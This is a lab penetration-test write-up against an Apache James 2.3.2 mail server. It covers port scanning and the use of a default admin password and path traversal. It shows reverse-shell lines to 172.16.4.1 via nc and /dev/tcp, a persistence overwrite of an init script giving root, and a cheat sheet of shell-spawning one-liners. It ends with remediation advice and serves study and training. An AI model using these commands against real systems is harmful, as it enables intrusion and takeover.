README.md

Pentest 5 - James - 95 - 10.14.1.95

Introduction

Scanning and Enumerating

Begin scanning

```
┌──(autorecon)─(kali㉿kali)-[~/reports/5]
└─$ export JAMES=10.14.1.95

┌──(autorecon)─(kali㉿kali)-[~/reports/5]
└─$ sudo $(which autorecon) $JAMES
[*] Scanning target 10.14.1.95
[*] [10.14.1.95/all-tcp-ports] Discovered open port tcp/22 on 10.14.1.95
[*] [10.14.1.95/all-tcp-ports] Discovered open port tcp/25 on 10.14.1.95
[*] [10.14.1.95/all-tcp-ports] Discovered open port tcp/110 on 10.14.1.95
[*] [10.14.1.95/all-tcp-ports] Discovered open port tcp/119 on 10.14.1.95
[*] [10.14.1.95/all-tcp-ports] Discovered open port tcp/4555 on 10.14.1.95
[*] Finished scanning target 10.14.1.95 in 9 minutes, 50 seconds
[*] Finished scanning all targets in 9 minutes, 51 seconds!
[*] Don't forget to check out more commands to run manually in the _manual_commands.
[!] AutoRecon identified the following services, but could not match them to any plu

cat _full_tcp_nmap.txt
# Nmap 7.94 scan initiated Sun Jul 30 17:20:17 2023 as: nmap -vv --reason -Pn -T4 -s
Increasing send delay for 10.14.1.95 from 0 to 5 due to 15 out of 36 dropped probes
Nmap scan report for 10.14.1.95
Host is up, received user-set (0.18s latency).
Scanned at 2023-07-30 17:20:17 EDT for 589s
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Li
| ssh-hostkey:
|   2048 f2:7d:fd:ff:67:07:9e:d7:fd:67:29:c8:8b:24:a5:d0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8YTDG92l323tYiXOU02tBevYpt0hsG3OxbCEGnJAR1I
|   256 f6:8b:f0:c6:60:85:ba:68:02:b0:3c:18:31:47:53:20 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPT1pqzG+A
|   256 05:52:2f:32:0c:36:f5:fb:98:00:e9:c1:6e:81:94:1f (ED25519)
```

```
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBL6hc9yLsY8skEL+c8P6FgOgroTSMk0PKrWsfhFymkS
25/tcp   open  smtp        syn-ack ttl 63 JAMES smtpd 2.3.2
|_smtp-commands: james Hello nmap.scanme.org (172.16.4.1 [172.16.4.1])
110/tcp  open  pop3        syn-ack ttl 63 JAMES pop3d 2.3.2
119/tcp  open  nntp        syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open  james-admin syn-ack ttl 63 JAMES Remote Admin 2.3.2
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.11 - 4.1
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/30%OT=22%CT=1%CU=33977%PV=Y%DS=2%DC=I%G=Y%TM=64C6D65
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10C%TI=Z%II=I%TS=8)OPS(O1=M
OS:5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%
OS:O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%
OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 32.469 days (since Wed Jun 28 06:14:21 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: james; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT       ADDRESS
1   183.72 ms 10.14.1.95

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://r
# Nmap done at Sun Jul 30 17:30:06 2023 -- 1 IP address (1 host up) scanned in 589.4
```

So we have a few different ports open here to look through.

1. ssh running OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
2. smtp running smtpd 2.3.2
3. pop3 running pop3d 2.3.2
4. nntp running nntpd (posting ok)
5. "james-admin" running Remote Admin 2.3.2 (Unknown Service?)

Based on this, lets see what we can find for each one, in order. Based on the number, I'm going to evaluate vectors first and see if anything looks appropriate, then proceed.

SSH Vulns

This version of SSH has a few username enumeration vulnerabilities - potential for cracking?

```
└─$ searchsploit OpenSSH 7.2p2
------------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
OpenSSH 7.2p2 - Username Enumeration
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading
OpenSSH < 7.7 - User Enumeration (2)
OpenSSHd 7.2p2 - Username Enumeration
------------------------------------------------------------------------------------
```

SMTP Vulns

Only one seemingly related / available vuln here; we might not target this first.

```
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution
```

Pop3 Vuln

Looks like only "maybe" 3 here - we can review.

```
└─$ searchsploit pop3 2.3.2
------------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------------
Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (1)
Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (2)
Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (3)
------------------------------------------------------------------------------------
```

NNTP

All the available nntp results seem to be for windows, and I believe we have determined this to be a Linux system.

James Admin / Remote Admin

So I didn't realize, James meant Apache James - we have a few hits here specifically for this version, and it does stand out, so lets start with this one?

```
└─$ searchsploit james
----------------------------------------------------------------------------------
 Exploit Title
----------------------------------------------------------------------------------
Apache James Server 2.2 - SMTP Denial of Service
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)
Apache James Server 2.3.2 - Remote Command Execution
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
----------------------------------------------------------------------------------
```

Checking the googs, I found this and this vulnerability.

Exploitation

I began working through testing the vulnerability using the second link here. We begin trying to connect:

```
┌──(autorecon)─(kali㉿kali)-[~/…/5/results/10.14.1.95/scans]
└─$ telnet $JAMES 4555
Trying 10.14.1.95...
Connected to 10.14.1.95.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
```

Ok, now that we have access, we can exploit the functionality to create a new user:

```
listusers
Existing accounts 0
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d added
listers
Unknown command listers
listusers
```

```
Existing accounts 1
user: ../../../../../../../../etc/bash_completion.d
adduser mark password
User mark added
```

With the user added, we can setup the payload for a reverse shell. This involves sending a message that establishes a reverse shell back to an established and waiting listener. The catch here, is that a user must still login to trigger the effect.

```
└─$ telnet $JAMES 25
Trying 10.14.1.95...
Connected to 10.14.1.95.
Escape character is '^]'.
220 james SMTP Server (JAMES SMTP Server 2.3.2) ready Sun, 30 Jul 2023 23:59:26 +020
HELO mark
250 james Hello mark (172.16.4.1 [172.16.4.1])
MAIL FROM:<'mark@localhost'>
501 5.1.7 Syntax error in sender address
MAIL FROM: <'mark@localhost>
250 2.1.0 Sender <'mark@localhost> OK
RCPT TO:<../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
From: mark@localhost
'
hostname | nc 172.16.4.1 4445
.
250 2.6.0 Message received
quit
221 2.0.0 james Service closing transmission channel
Connection closed by foreign host.
```

Back on my listener, I caught a shell as james@james:

```
bash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
Lnameq~L: command not found
bash: recipientstLjava/util/Collection: No such file or directory
L: command not found
remoteAddrq~L: command not found
bash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
Lstateq~xpsrorg.apache.mailet.MailAddress: command not found
\udc91\udc92\udc84m\udcc7{\udca4IposLhostq~Luserq~xp: command not found
bash: @team.pl>
Message-ID: <950555.1.1690755396500.JavaMail.root@james>
```

```
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 172.16.4.1 ([172.16.4.1])
          by james (JAMES SMTP Server 2.3.2) with SMTP ID 259
          for <../../../../../../../../etc/bash_completion.d@localhost>;
          Mon, 31 Jul 2023 00:16:33 +0200 (CEST)
Date: Mon, 31 Jul 2023 00:16:33 +0200 (CEST)
From: team@team.pl

: No such file or directory
bash: connect: Connection refused
bash: /dev/tcp/172.16.4.1/4445: Connection refused
: command not found
james@james:~$ /bin/sh
/bin/sh

hostname
james
```

Several hours later...

I think I overlooked some very obvious cues here, but it was a good learning opportunity. First, I attempted several ways to upgrade my bash shell (thinking it was a netcat shell) to no success.

So first I tried:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Then once I spawned a `pty` session, I did the following; this was unfortunately not successful either.

```
# Background my session
Ctrl-Z

# Check Current shell info - looking for my shell session to match the target to
echo $TERM

# Set the STTY to not echo
stty raw -echo

# Bring back the shell
```

```
fg

# Set the target shell settings to match my box
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116
```

So from here, I thought what am I missing? I can see `/etc/init.d/james` was set to start on start-up...it wasn't for about two hours that I realized I had passwordless `sudo reboot @now` permissions. Despite knowing this, I still struggled to catch a shell for a bit.
My first **several** iterations revolved around using `nc`, trying both to establish a listener, and alternatively, trying to connect back to my box. I had to keep looking at `systemctl status james` to realize - the version of `nc` I was using did not have the `-e` option, and inbound traffic (from Kali -> James) was being blocked on that port.

At this point I thought - maybe I'm missing something?
Clearly, my initial entry-point worked since I **can** get a shell, so what was I doing wrong?

I realized - the initial shell was being spawned through bash, not netcat. Great. 30 seconds later, I had the following:

```
cat <<EOF > /etc/init.d/james
#!/bin/bash

/bin/bash -i >& /dev/tcp/172.16.4.1/4446 0>&1
EOF
```

Back on my box:

```
┌──(kali㉿kali)-[~]
└─$ nc -lvp 4446                                                   1 ×
listening on [any] 4446 ...
connect to [172.16.4.1] from james [10.14.1.95] 33174
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
root@james:/# whoami
whoami
root
root@james:/# hostname
hostname
james

root@james:/# cd /data/
cd /data/
bash: cd: /data/: No such file or directory
```

```
root@james:/# cd /root
cd /root
root@james:/root# ls
ls
key.txt
root@james:/root# cat key.txt
cat key.txt
yj351o4zt2wgplr4kafu
root@james:/root#
```

Remediation

It took me a lot longer than this should have - I gained access to the system pretty quickly, but both struggled and learned a good bit from this - namely, there several number of ways to establish an initial shell, and to upgrade a shell.

Regarding the vulnerability itself - the most relevant suggestion would be to upgrade at a minimum to `James 2.3.2.1`. Additionally, it would be recommended to modify the default administration console password:

```
telnet 10.14.1.95 4555
setpassword root <new pass>
```

Further it would be a good idea to limit access to localhost only (meaning no network access outside of the system it is running on). Lastly, the user running the service should **not** have sudo permissions!

Just for future notes -

```
# Get a shell from Python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

# Get a new bash shell if the initial gets disconencted
/bin/sh -i

# Perl
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";

# Ruby
ruby: exec "/bin/sh"
```

```
#Lua
lua: os.execute('/bin/sh')

(From within IRB)
exec "/bin/sh"

(From within vi)
:!bash
:set shell=/bin/bash:shell

(From within nmap)
!sh


#!/bin/bash
/bin/bash -i >& /dev/tcp/172.16.4.1/4446 0>&1
```

Separately, a clean one-liner to search for world-writable files: `find / \( -path /proc -o -path /sys -o -path /usr/share \) -prune -o -type f -perm /o=w`